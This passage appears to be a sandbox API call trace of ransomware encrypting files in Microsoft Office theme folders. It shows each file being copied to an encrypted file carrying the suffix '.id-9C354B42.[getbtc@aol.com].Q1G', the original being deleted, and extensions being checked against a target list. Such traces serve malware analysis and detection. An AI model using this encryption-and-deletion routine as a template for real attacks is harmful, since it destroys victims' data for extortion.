lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.001] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.001] SetEndOfFile (hFile=0x214) returned 1 [0049.001] CloseHandle (hObject=0x214) returned 1 [0049.001] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.001] SetEndOfFile (hFile=0x188) returned 1 [0049.002] CloseHandle (hObject=0x188) returned 1 [0049.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.002] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0049.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.002] lstrlenW (lpString=".doc") returned 4 [0049.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.002] lstrlenW (lpString=".docx") returned 5 [0049.002] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.002] lstrlenW (lpString=".pdf") returned 4 [0049.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.002] lstrlenW (lpString=".xls") returned 4 [0049.003] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.003] lstrlenW (lpString=".xlsx") returned 5 [0049.003] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.003] lstrlenW (lpString=".ppt") returned 4 [0049.003] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.003] lstrlenW (lpString=".zip") returned 4 [0049.003] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.003] lstrlenW (lpString=".rar") returned 4 [0049.003] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.003] lstrlenW (lpString=".bz2") returned 4 [0049.003] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.003] lstrlenW (lpString=".7z") returned 3 [0049.003] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.003] lstrlenW (lpString=".dbf") returned 4 [0049.003] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.003] lstrlenW (lpString=".1cd") returned 4 [0049.003] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.003] lstrlenW (lpString=".jpg") returned 4 [0049.003] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.003] lstrlenW (lpString=".doc") returned 4 [0049.003] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.003] lstrlenW (lpString=".docx") returned 5 [0049.003] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.003] lstrlenW (lpString=".pdf") returned 4 [0049.003] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.003] lstrlenW (lpString=".xls") returned 4 [0049.003] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.003] lstrlenW (lpString=".xlsx") returned 5 [0049.004] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.004] lstrlenW (lpString=".ppt") returned 4 [0049.004] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.004] lstrlenW (lpString=".zip") returned 4 [0049.004] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.004] lstrlenW (lpString=".rar") returned 4 [0049.004] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.004] lstrlenW (lpString=".bz2") returned 4 [0049.004] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.004] lstrlenW (lpString=".7z") returned 3 [0049.004] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.004] lstrlenW (lpString=".dbf") returned 4 [0049.004] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.004] lstrlenW (lpString=".1cd") returned 4 [0049.004] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0049.004] lstrlenW (lpString=".jpg") returned 4 [0049.004] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.004] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.004] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.005] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=27177) returned 1 [0049.005] CloseHandle (hObject=0x188) returned 1 [0049.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0049.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.005] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.005] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.005] GetLastError () returned 0x0 [0049.005] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0049.014] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0049.015] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.015] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.015] SetEndOfFile (hFile=0x214) returned 1 [0049.015] CloseHandle (hObject=0x214) returned 1 [0049.015] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.016] SetEndOfFile (hFile=0x188) returned 1 [0049.016] CloseHandle (hObject=0x188) returned 1 [0049.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.017] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0049.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.017] lstrlenW (lpString=".doc") returned 4 [0049.017] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.017] lstrlenW (lpString=".docx") returned 5 [0049.017] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.017] lstrlenW (lpString=".pdf") returned 4 [0049.017] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.017] lstrlenW (lpString=".xls") returned 4 [0049.017] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.017] lstrlenW (lpString=".xlsx") returned 5 [0049.017] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.017] lstrlenW (lpString=".ppt") returned 4 [0049.017] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.017] lstrlenW (lpString=".zip") returned 4 [0049.017] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.017] lstrlenW (lpString=".rar") returned 4 [0049.017] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.017] lstrlenW (lpString=".bz2") returned 4 [0049.017] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.017] lstrlenW (lpString=".7z") returned 3 [0049.017] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.017] lstrlenW (lpString=".dbf") returned 4 [0049.017] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString=".1cd") returned 4 [0049.018] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString=".jpg") returned 4 [0049.018] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString=".doc") returned 4 [0049.018] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.018] lstrlenW (lpString=".docx") returned 5 [0049.018] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.018] lstrlenW (lpString=".pdf") returned 4 [0049.018] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.018] lstrlenW (lpString=".xls") returned 4 [0049.018] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.018] lstrlenW (lpString=".xlsx") returned 5 [0049.018] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.018] lstrlenW (lpString=".ppt") returned 4 [0049.018] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString=".zip") returned 4 [0049.018] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.018] lstrlenW (lpString=".rar") returned 4 [0049.018] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.018] lstrlenW (lpString=".bz2") returned 4 [0049.018] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.018] lstrlenW (lpString=".7z") returned 3 [0049.018] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString=".dbf") returned 4 [0049.018] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString=".1cd") returned 4 [0049.018] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0049.018] lstrlenW (lpString=".jpg") returned 4 [0049.018] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.019] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.019] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.020] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=21812) returned 1 [0049.020] CloseHandle (hObject=0x188) returned 1 [0049.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0049.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.020] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.020] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.021] GetLastError () returned 0x0 [0049.021] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x5534, lpOverlapped=0x0) returned 1 [0049.022] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0049.025] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.026] WriteFile (in: hFile=0x214, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.026] SetEndOfFile (hFile=0x214) returned 1 [0049.026] CloseHandle (hObject=0x214) returned 1 [0049.026] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.026] SetEndOfFile (hFile=0x188) returned 1 [0049.027] CloseHandle (hObject=0x188) returned 1 [0049.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.027] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0049.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.027] lstrlenW (lpString=".doc") returned 4 [0049.027] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.027] lstrlenW (lpString=".docx") returned 5 [0049.027] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.027] lstrlenW (lpString=".pdf") returned 4 [0049.027] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.027] lstrlenW (lpString=".xls") returned 4 [0049.027] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.027] lstrlenW (lpString=".xlsx") returned 5 [0049.027] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.027] lstrlenW (lpString=".ppt") returned 4 [0049.027] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.028] lstrlenW (lpString=".zip") returned 4 [0049.028] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.028] lstrlenW (lpString=".rar") returned 4 [0049.028] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.028] lstrlenW (lpString=".bz2") returned 4 [0049.028] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.028] lstrlenW (lpString=".7z") returned 3 [0049.028] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.028] lstrlenW (lpString=".dbf") returned 4 [0049.028] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.028] lstrlenW (lpString=".1cd") returned 4 [0049.028] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.028] lstrlenW (lpString=".jpg") returned 4 [0049.028] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.028] lstrlenW (lpString=".doc") returned 4 [0049.028] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.028] lstrlenW (lpString=".docx") returned 5 [0049.028] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.028] lstrlenW (lpString=".pdf") returned 4 [0049.028] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.028] lstrlenW (lpString=".xls") returned 4 [0049.028] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.028] lstrlenW (lpString=".xlsx") returned 5 [0049.028] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.028] lstrlenW (lpString=".ppt") returned 4 [0049.028] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.028] lstrlenW (lpString=".zip") returned 4 [0049.028] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.028] lstrlenW (lpString=".rar") returned 4 [0049.028] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.029] lstrlenW (lpString=".bz2") returned 4 [0049.029] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.029] lstrlenW (lpString=".7z") returned 3 [0049.029] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.029] lstrlenW (lpString=".dbf") returned 4 [0049.029] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.029] lstrlenW (lpString=".1cd") returned 4 [0049.029] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0049.029] lstrlenW (lpString=".jpg") returned 4 [0049.029] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.029] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0049.029] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.029] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2527) returned 1 [0049.029] CloseHandle (hObject=0x188) returned 1 [0049.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0049.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.161] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.161] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.162] GetLastError () returned 0x0 [0049.162] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x9df, lpOverlapped=0x0) returned 1 [0049.246] WriteFile (in: hFile=0x19c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0049.247] ReadFile (in: hFile=0x188, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, 